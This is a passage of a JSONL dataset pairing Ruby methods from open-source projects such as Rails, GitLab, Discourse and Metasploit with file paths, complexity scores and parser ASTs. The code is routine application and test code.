end","complexity_score":15.85,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"compile_methods!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"keys\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"m\"]}]},{\"type\":\"send\",\"children\":[null,\"method_defined?\",{\"type\":\"lvar\",\"children\":[\"m\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[null,\"class_eval\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"            def \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\"; _get(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\"); end\\n\"]}]},{\"type\":\"str\",\"children\":[\"(method)\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[3]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}","id":"91a0487c-048a-4d6c-a511-c8e54eb56230"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/lib/sinatra/base.rb","start_line":492,"raw_source":"def <<(data)\n        @scheduler.schedule { @front.call(data.to_s) }\n        self\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"<<\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@scheduler\"]},\"schedule\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@front\"]},\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"to_s\"]}]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"005c3f29-fe65-4211-8231-3462251541da"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/validators/video_conversion_enabled_validator.rb","start_line":8,"raw_source":"def valid_value?(val)\n    return true if val == \"f\" # Allow disabling video conversion\n\n    # Check MediaConvert-specific requirements only when using aws_mediaconvert\n    if SiteSetting.video_conversion_service == \"aws_mediaconvert\"\n      # Check if MediaConvert role ARN is provided\n      return false if SiteSetting.mediaconvert_role_arn.blank?\n\n      # Check if S3 credentials are provided (either access keys or IAM profile)\n      return false if s3_credentials_missing?\n    end\n\n    true\n  end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_value?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"==\",{\"type\":\"str\",\"children\":[\"f\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"video_conversion_service\"]},\"==\",{\"type\":\"str\",\"children\":[\"aws_mediaconvert\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"mediaconvert_role_arn\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"s3_credentials_missing?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]}]},null]},{\"type\":\"true\",\"children\":[]}]}]}","id":"d78d53bb-864b-424b-bc54-aa12d45eb1f5"}
{"repo_name":"forem","file_path":"./repos/forem/vendor/cache/acts_as_follower-06393d3693a1/lib/acts_as_follower/followable.rb","start_line":85,"raw_source":"def followed_by?(follower)\n        self.followings.unblocked.for_follower(follower).first.present?\n      end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"followed_by?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"follower\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"followings\"]},\"unblocked\"]},\"for_follower\",{\"type\":\"lvar\",\"children\":[\"follower\"]}]},\"first\"]},\"present?\"]}]}","id":"d84f90c6-a64b-4a43-9362-e640e819e120"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/turbo_tests/reporter.rb","start_line":55,"raw_source":"def example_passed(example)\n      delegate_to_formatters(:example_passed, example.notification)\n\n      @all_examples << example\n      log_timing(example)\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"example_passed\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"example\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"delegate_to_formatters\",{\"type\":\"sym\",\"children\":[\"example_passed\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"example\"]},\"notification\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@all_examples\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"example\"]}]},{\"type\":\"send\",\"children\":[null,\"log_timing\",{\"type\":\"lvar\",\"children\":[\"example\"]}]}]}]}","id":"e8d818d8-6182-4a85-857b-0b119b1fb4f7"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/spec/support/auth_helper.rb","start_line":8,"raw_source":"def login_as(user, stub_controller: false)\n        User.current_user = user\n        STDERR.puts \"WARNING: double stubbing user - only use login_as or stub_user once\" if user != User.current_user\n        session[:userid]  = user.userid\n        session[:group]   = user.current_group_id\n        allow(controller).to receive(:current_user).and_return(user) if stub_controller\n        user\n      end","complexity_score":19.0,"ast_json":"{\"type\":\"def\",\"children\":[\"login_as\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"kwoptarg\",\"children\":[\"stub_controller\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current_user=\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current_user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"STDERR\"]},\"puts\",{\"type\":\"str\",\"children\":[\"WARNING: double stubbing user - only use login_as or stub_user once\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"userid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"userid\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"group\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"current_group_id\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stub_controller\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"send\",\"children\":[null,\"controller\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"current_user\"]}]},\"and_return\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}","id":"c4cc60d4-af94-442e-af76-0a6c76941b9b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/update_service.rb","start_line":299,"raw_source":"def handle_quick_actions(merge_request)\n      super\n\n      # Ensure this parameter does not get used as an attribute\n      rebase = params.delete(:rebase)\n\n      if rebase\n        rebase_from_quick_action(merge_request)\n        # Ignore \"/merge\" if \"/rebase\" is used to avoid an unexpected race\n        params.delete(:merge)\n      end\n\n      merge_from_quick_action(merge_request) if params[:merge]\n    end","complexity_score":12.3,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_quick_actions\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"merge_request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"lvasgn\",\"children\":[\"rebase\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"rebase\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rebase\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rebase_from_quick_action\",{\"type\":\"lvar\",\"children\":[\"merge_request\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"merge\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"merge\"]}]},{\"type\":\"send\",\"children\":[null,\"merge_from_quick_action\",{\"type\":\"lvar\",\"children\":[\"merge_request\"]}]},null]}]}]}","id":"27cacfa1-4f14-4f54-b38f-06481945dd1f"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/calculations_test.rb","start_line":1602,"raw_source":"def test_select_avg_with_group_by_as_virtual_attribute_with_sql\n    rails_core = companies(:rails_core)\n\n    sql = <<~SQL\n      SELECT firm_id, AVG(credit_limit) AS avg_credit_limit\n      FROM accounts\n      WHERE firm_id = ?\n      GROUP BY firm_id\n      LIMIT 1\n    SQL\n\n    account = Account.find_by_sql([sql, rails_core]).first\n\n    # id was not selected, so it should be nil\n    # (cannot select id because it wasn't used in the GROUP BY clause)\n    assert_nil account.id\n\n    # firm_id was explicitly selected, so it should be present\n    assert_equal(rails_core, account.firm)\n\n    # avg_credit_limit should be present as a virtual attribute\n    assert_equal(52.5, account.avg_credit_limit)\n  end","complexity_score":13.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_select_avg_with_group_by_as_virtual_attribute_with_sql\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rails_core\",{\"type\":\"send\",\"children\":[null,\"companies\",{\"type\":\"sym\",\"children\":[\"rails_core\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sql\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT firm_id, AVG(credit_limit) AS avg_credit_limit\\n\"]},{\"type\":\"str\",\"children\":[\"FROM accounts\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE firm_id = ?\\n\"]},{\"type\":\"str\",\"children\":[\"GROUP BY firm_id\\n\"]},{\"type\":\"str\",\"children\":[\"LIMIT 1\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"account\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"find_by_sql\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql\"]},{\"type\":\"lvar\",\"children\":[\"rails_core\"]}]}]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"account\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"rails_core\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"account\"]},\"firm\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"float\",\"children\":[52.5]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"account\"]},\"avg_credit_limit\"]}]}]}]}","id":"633066f2-4a7a-4eb7-bfd5-8bfcb5b44c5d"}
{"repo_name":"rack","file_path":"./repos/rack/lib/rack/multipart/parser.rb","start_line":309,"raw_source":"def handle_fast_forward\n        while true\n          case consume_boundary\n          when :BOUNDARY\n            # found opening boundary, transition to next state\n            @state = :MIME_HEAD\n            return\n          when :END_BOUNDARY\n            # invalid multipart upload\n            if @sbuf.pos == @end_boundary_size && @sbuf.rest == EOL\n              # stop parsing a buffer if a buffer is only an end boundary.\n              @state = :DONE\n              return\n            end\n\n            # retry for opening boundary\n          else\n            # We raise if we don't find the multipart boundary, to avoid unbounded memory\n            # buffering. Note that the actual limit is the higher of 16KB and the buffer size (1MB by default)\n            raise Error, \"multipart boundary not found within limit\" if @sbuf.string.bytesize > BOUNDARY_START_LIMIT\n\n            # no boundary found, keep reading data\n            return :want_read\n          end\n        end\n      end","complexity_score":24.2,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_fast_forward\",{\"type\":\"args\",\"children\":[]},{\"type\":\"while\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[null,\"consume_boundary\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"BOUNDARY\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@state\",{\"type\":\"sym\",\"children\":[\"MIME_HEAD\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"END_BOUNDARY\"]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sbuf\"]},\"pos\"]},\"==\",{\"type\":\"ivar\",\"children\":[\"@end_boundary_size\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sbuf\"]},\"rest\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"EOL\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@state\",{\"type\":\"sym\",\"children\":[\"DONE\"]}]},{\"type\":\"return\",\"children\":[]}]},null]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sbuf\"]},\"string\"]},\"bytesize\"]},\">\",{\"type\":\"const\",\"children\":[null,\"BOUNDARY_START_LIMIT\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"Error\"]},{\"type\":\"str\",\"children\":[\"multipart boundary not found within limit\"]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"want_read\"]}]}]}]}]}]}","id":"cf6cb5ac-32cc-44bc-b65b-7501e22106fe"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/sidebars/admin/menus/admin_settings_menu.rb","start_line":134,"raw_source":"def preferences_menu_item\n          ::Sidebars::MenuItem.new(\n            title: _('Preferences'),\n            link: preferences_admin_application_settings_path,\n            active_routes: { path: 'admin/application_settings#preferences' },\n            item_id: :admin_preferences,\n            container_html_options: { 'data-testid': 'admin-settings-preferences-link' }\n          )\n        end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"preferences_menu_item\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Sidebars\"]},\"MenuItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Preferences\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"link\"]},{\"type\":\"send\",\"children\":[null,\"preferences_admin_application_settings_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"active_routes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"admin/application_settings#preferences\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"item_id\"]},{\"type\":\"sym\",\"children\":[\"admin_preferences\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"container_html_options\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data-testid\"]},{\"type\":\"str\",\"children\":[\"admin-settings-preferences-link\"]}]}]}]}]}]}]}","id":"6443fd6d-5ae0-4238-87ba-da108c0c536d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/github_import/attachments_downloader.rb","start_line":80,"raw_source":"def github_assets_url_regex\n        %r{#{Regexp.escape(web_endpoint)}/.*/(assets|files)/}\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"github_assets_url_regex\",{\"type\":\"args\",\"children\":[]},{\"type\":\"regexp\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"escape\",{\"type\":\"send\",\"children\":[null,\"web_endpoint\"]}]}]},{\"type\":\"str\",\"children\":[\"/.*/(assets|files)/\"]},{\"type\":\"regopt\",\"children\":[]}]}]}","id":"708c51fe-fb02-4b85-80c0-30f1e9ec57d4"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/alias_processor.rb","start_line":1407,"raw_source":"def test_array_join_lots_of_interp\n    assert_alias '\"blah:#{this}:#{that}:end\"', <<-'INPUT'\n      x = [\"blah\", this, that, \"end\"].join(':')\n      x\n    INPUT\n\n    assert_alias '\"#{this}!#{that}!#{annd}!#{uh}\"', <<-'INPUT'\n      x = [this, that, annd, uh].join('!')\n      x\n    INPUT\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_array_join_lots_of_interp\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_alias\",{\"type\":\"str\",\"children\":[\"\\\"blah:#{this}:#{that}:end\\\"\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"      x = [\\\"blah\\\", this, that, \\\"end\\\"].join(':')\\n\"]},{\"type\":\"str\",\"children\":[\"      x\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_alias\",{\"type\":\"str\",\"children\":[\"\\\"#{this}!#{that}!#{annd}!#{uh}\\\"\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"      x = [this, that, annd, uh].join('!')\\n\"]},{\"type\":\"str\",\"children\":[\"      x\\n\"]}]}]}]}]}","id":"ec5482e3-f289-4f4f-8b90-5a6eeeb64033"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/feed_events_controller.rb","start_line":14,"raw_source":"def create\n    if session_current_user_id\n      FeedEvents::BulkUpsert.call(feed_events_params)\n    end\n\n    head :ok\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session_current_user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FeedEvents\"]},\"BulkUpsert\"]},\"call\",{\"type\":\"send\",\"children\":[null,\"feed_events_params\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"head\",{\"type\":\"sym\",\"children\":[\"ok\"]}]}]}]}","id":"26791dce-aff2-4515-b790-74148257c283"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/providers/one_drive/commands/set_permissions_command.rb","start_line":118,"raw_source":"def create_permissions(update_data, http)\n              drive_recipients = update_data.user_ids.map { |id| { objectId: id } }\n\n              info \"Creating #{update_data.role} permissions on #{update_data.drive_item_id} for #{drive_recipients}\"\n              response = http.post(invite_path(update_data.drive_item_id),\n                                   json: {\n                                     requireSignIn: true,\n                                     sendInvitation: false,\n                                     roles: [update_data.role],\n                                     recipients: drive_recipients\n                                   })\n\n              handle_response(response).or { |error| log_storage_error(error) }\n            end","complexity_score":17.7,"ast_json":"{\"type\":\"def\",\"children\":[\"create_permissions\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"update_data\"]},{\"type\":\"arg\",\"children\":[\"http\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"drive_recipients\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"update_data\"]},\"user_ids\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"objectId\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Creating \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"update_data\"]},\"role\"]}]},{\"type\":\"str\",\"children\":[\" permissions on \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"update_data\"]},\"drive_item_id\"]}]},{\"type\":\"str\",\"children\":[\" for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"drive_recipients\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"http\"]},\"post\",{\"type\":\"send\",\"children\":[null,\"invite_path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"update_data\"]},\"drive_item_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"requireSignIn\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sendInvitation\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"roles\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"update_data\"]},\"role\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"recipients\"]},{\"type\":\"lvar\",\"children\":[\"drive_recipients\"]}]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"handle_response\",{\"type\":\"lvar\",\"children\":[\"response\"]}]},\"or\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"error\"]}]},{\"type\":\"send\",\"children\":[null,\"log_storage_error\",{\"type\":\"lvar\",\"children\":[\"error\"]}]}]}]}]}","id":"958f696b-d581-4bf8-9040-718d0e6be246"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/refunds_controller.rb","start_line":21,"raw_source":"def load_order\n        @order = @payment.order if @payment\n\n        add_breadcrumb @order.number, spree.edit_admin_order_path(@order)\n      end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"load_order\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@payment\"]},{\"type\":\"ivasgn\",\"children\":[\"@order\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@payment\"]},\"order\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"add_breadcrumb\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@order\"]},\"number\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spree\"]},\"edit_admin_order_path\",{\"type\":\"ivar\",\"children\":[\"@order\"]}]}]}]}]}","id":"7ca06334-6c39-4015-b9f7-c5527ff59a8b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/kerberos/credential_cache/krb5_ccache_presenter.rb","start_line":449,"raw_source":"def present_ndr_file_time(time)\n      if time.get == Rex::Proto::Kerberos::Pac::NEVER_EXPIRE\n        'Never Expires (inf)'\n      elsif time.get == 0\n        'No Time Set (0)'\n      else\n        present_time(time.to_time)\n      end\n    end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"present_ndr_file_time\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"time\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]},\"get\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"Kerberos\"]},\"Pac\"]},\"NEVER_EXPIRE\"]}]},{\"type\":\"str\",\"children\":[\"Never Expires (inf)\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]},\"get\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"str\",\"children\":[\"No Time Set (0)\"]},{\"type\":\"send\",\"children\":[null,\"present_time\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]},\"to_time\"]}]}]}]}]}","id":"4092d7fe-4317-4a0f-8937-39f1d93ecb57"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/multi_db_migrator_test.rb","start_line":229,"raw_source":"def migrator_class(count)\n      calls, migrations = sensors(count)\n\n      migrator = Class.new(ActiveRecord::MigrationContext) {\n        define_method(:migrations) { |*|\n          migrations\n        }\n      }\n      [calls, migrator]\n    end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"migrator_class\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"count\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"calls\"]},{\"type\":\"lvasgn\",\"children\":[\"migrations\"]}]},{\"type\":\"send\",\"children\":[null,\"sensors\",{\"type\":\"lvar\",\"children\":[\"count\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"migrator\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"MigrationContext\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_method\",{\"type\":\"sym\",\"children\":[\"migrations\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"migrations\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"calls\"]},{\"type\":\"lvar\",\"children\":[\"migrator\"]}]}]}]}","id":"749809e0-2416-4fa4-8462-61968d203cf1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20251016010315_drop_tmp_bigint_indexes_and_fks_on_merge_requests_stage_one.rb","start_line":135,"raw_source":"def skip_migration_as_bigint_columns_non_exist\n    unless COLUMNS.all? { |column| column_exists?(TABLE_NAME, convert_to_bigint_column(column)) }\n      say \"No conversion columns found - migration skipped\"\n      return true\n    end\n\n    false\n  